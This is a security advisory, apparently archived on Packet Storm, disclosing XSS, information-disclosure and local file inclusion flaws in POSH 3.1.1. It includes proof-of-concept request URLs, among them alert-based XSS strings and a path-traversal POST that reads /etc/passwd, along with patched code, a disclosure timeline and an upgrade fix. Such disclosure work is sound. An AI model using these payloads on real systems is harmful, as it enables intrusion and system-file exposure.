what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

POSH 3.1.1 Cross Site Scripting / Local File Inclusion

POSH 3.1.1 Cross Site Scripting / Local File Inclusion
Posted Oct 11, 2011
Authored by crashfr

POSH versions 3.1.1 and below suffers from cross site scripting, information disclosure, and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion, info disclosure
SHA-256 | e3304880f1cb565f63ad841ac81d8bb6a3fba385efd1d5ad23dc4c39917c1a32

POSH 3.1.1 Cross Site Scripting / Local File Inclusion

Change Mirror Download
# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities
# Date: 10/10/2011
# Author: CrashFr
# Software Link: http://sourceforge.net/projects/posh/
# Version: 3.1.1
# Tested on: Linux
#


//----- Advisory

Program : POSH 3.1.1 and prior
Vendor : www.portaneo.com
Homepage : http://sourceforge.net/projects/posh/
Discovery : 2011/09/19
Author Contacted : 2011/09/20
Found by : CrashFr
This Advisory : CrashFr

//----- Application description


POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.


//----- Description of vulnerability


Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1


//----- Proof Of Concept


--- Information disclosure ---
- http://localhost/posh/portal/login.php?lang=fr-en
- Vulnerability at includes/sessions.inc.php
Replace:
if ( preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
$_SESSION['lang'] = $_GET["lang"];
By:
if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
$_SESSION['lang'] = $_GET["lang"];


--- XSS ---
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
- Vulnerability at: templates/default/login.php line 42
Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';

- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
- Vulnerability at: templates/default/login_adminsimplified.php line 93
Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
- Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);


--- Local File Inclusion ---
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
lang=../../../../../../../../../../../../../../../../etc/passwd%00

- Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
- Vulnerability at portal/scr_changelang.php line 67
Replace: $_SESSION['lang']=$lang;
By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
$_SESSION['lang']=$lang;
}


//----- Solution

Apply patchs
Upgrade POSH to 3.1.2


//----- Vulnerability Timeline

2011-09-20 - Reported to vendor
2011-09-21 - Vendor Reply
2011-09-25 - Vendor released POSH 3.1.2
2011-10-10 - Vulnerability Disclosed


//----- Credits


http://www.sysdream.com

crashfr at sysdream dot com


//----- Greetings

HZV (http://www.hackerzvoice.net)

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close